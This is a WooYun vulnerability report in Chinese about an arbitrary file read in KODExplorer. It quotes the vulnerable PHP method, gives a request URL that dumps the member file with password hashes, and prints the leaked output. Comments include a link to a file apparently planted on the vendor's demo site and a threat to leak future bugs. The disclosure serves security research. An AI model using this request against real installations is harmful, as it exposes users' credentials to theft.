当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076309

漏洞标题:芒果云KODExlporer 任意文件读取(直接读取用户名和密码)

相关厂商:千帆网络工作室

漏洞作者: 狗狗侠

提交时间:2014-09-17 08:45

修复时间:2014-12-13 08:46

公开时间:2014-12-13 08:46

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-17: 细节已通知厂商并且等待厂商处理中
2014-09-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-11: 细节向核心白帽子及相关领域专家公开
2014-11-21: 细节向普通白帽子公开
2014-12-01: 细节向实习白帽子公开
2014-12-13: 细节向公众公开

简要描述:

再来一蛋。。。

详细说明:

在controller\editor.class.php文件中
方法如下:

// 获取文件数据
public function fileGet(){
$filename=_DIR($this->in['filename']);
if (!is_readable($filename)) show_json($this->L['no_permission'],false);
if (filesize($filename) >= 1024*1024*20) show_json($this->L['edit_too_big'],false);
$filecontents=file_get_contents($filename);//文件内容
$charset=$this->_get_charset($filecontents);
if ($charset!='' || $charset!='utf-8') {
$filecontents=mb_convert_encoding($filecontents,'utf-8',$charset);
}
$data = array(
'ext' => get_path_ext($filename),
'name' => iconv_app(get_path_this($filename)),
'filename' => rawurldecode($this->in['filename']),
'charset' => $charset,
'content' => $filecontents
);
show_json($data);
}


这里获取$filename=_DIR($this->in['filename']); 获取$filename变量,其中_DIR自己跟踪吧! 过程不表。厂商明白。。。
然后看看$filecontents=file_get_contents($filename);//文件内容
获取了文件内容
本来这系统就是没有数据库的,用户名和密码直接写在member.php文件当中
所以我们构造好链接即可直接获取用户名和密码了
如下:
http://localhost/www/index.php?editor/fileGet&filename=data/system/member.php
直接菊花再现。。。。
shell我就不说了

1.jpg


{"code":true,"use_time":0.0172510147095,"data":{"ext":"php","name":"member.php","filename":".\/data\/system\/member.php","charset":"utf-8","content":"<?php exit;?>{\"admin\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\",\"role\":\"root\",\"status\":1},\"guest\":{\"name\":\"guest\",\"password\":\"084e0343a0486ff05530df6c705c8bb4\",\"role\":\"guest\",\"status\":1},\"demo\":{\"name\":\"demo\",\"password\":\"fe01ce2a7fbac8fafaed7c982a04e229\",\"role\":\"default\",\"status\":1}}"}}


其中密码的md5就爆了。。。

漏洞证明:

1.jpg


{"code":true,"use_time":0.0172510147095,"data":{"ext":"php","name":"member.php","filename":".\/data\/system\/member.php","charset":"utf-8","content":"<?php exit;?>{\"admin\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\",\"role\":\"root\",\"status\":1},\"guest\":{\"name\":\"guest\",\"password\":\"084e0343a0486ff05530df6c705c8bb4\",\"role\":\"guest\",\"status\":1},\"demo\":{\"name\":\"demo\",\"password\":\"fe01ce2a7fbac8fafaed7c982a04e229\",\"role\":\"default\",\"status\":1}}"}}


修复方案:

都是虚假漏洞,不需要修复了

版权声明:转载请注明来源 狗狗侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-13 08:46

厂商回复:

虚假漏洞,管理员当然能读取信息

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-17 09:20 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    太6了- - 我還在等更新呢。。。

  2. 2014-09-17 10:31 | 千帆网络工作室(乌云厂商)

    虚假漏洞,管理员当然能读取信息能用的话你把 http://demo.kalcaddle.com/ 的admin的密码的md5拿给看看(用demo用户登录)

  3. 2014-09-17 10:34 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    @千帆网络工作室 哈哈。真是笑死我了。

  4. 2014-09-17 10:36 | 千帆网络工作室(乌云厂商)

    @狗狗侠 无语

  5. 2014-09-17 10:37 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    @千帆网络工作室 呃。。是管理员么。。。- - 如果是webshell的话倒是可以读取,

  6. 2014-09-17 10:38 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    @千帆网络工作室 你尊重点别人吧。下次你的洞我放外面去。让别人利用利用先。看是不是虚假的

  7. 2014-09-17 10:40 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    哈哈哈。。。

  8. 2014-09-17 10:44 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @狗狗侠 @千帆网络工作室 莫急莫急,首先狗狗侠报告在乌云上的漏洞大家都是有目共睹的,不会报告虚假漏洞给厂商。细节方面可能是有些误解或者初入,咱们厂商联合白帽子一起沟通下,弄明白漏洞。

  9. 2014-09-17 10:47 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    @千帆网络工作室 请问这是啥? http://demo.kalcaddle.com/data/User/demo/home/fucka.php 你的悬赏呢。 哈哈。笑死我了

  10. 2014-09-17 10:52 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    @千帆网络工作室 按照你的逻辑。是不是管理权限就可以有注入了呢。是不是管理员就可以自己读自己的md5了?

  11. 2014-09-17 11:03 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    @疯狗 都惊动您老了。。。 这个管理工具挺不错的,在中国做开源也不容易。密码什么的都是php保存的。

  12. 2014-09-17 11:39 | 千帆网络工作室(乌云厂商)

    @狗狗侠 管理员还确实有所有权限,程序就是这样设计的,新建php文件,修改程序等等,遍历目录系统目录等等

  13. 2014-09-17 12:12 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @狗狗侠 既然你认为是真的漏洞,大侠可以跟厂商说是怎么做到的不就可以了吗?难道还不敢说,可能厂商还没仔细看漏洞!息怒!!!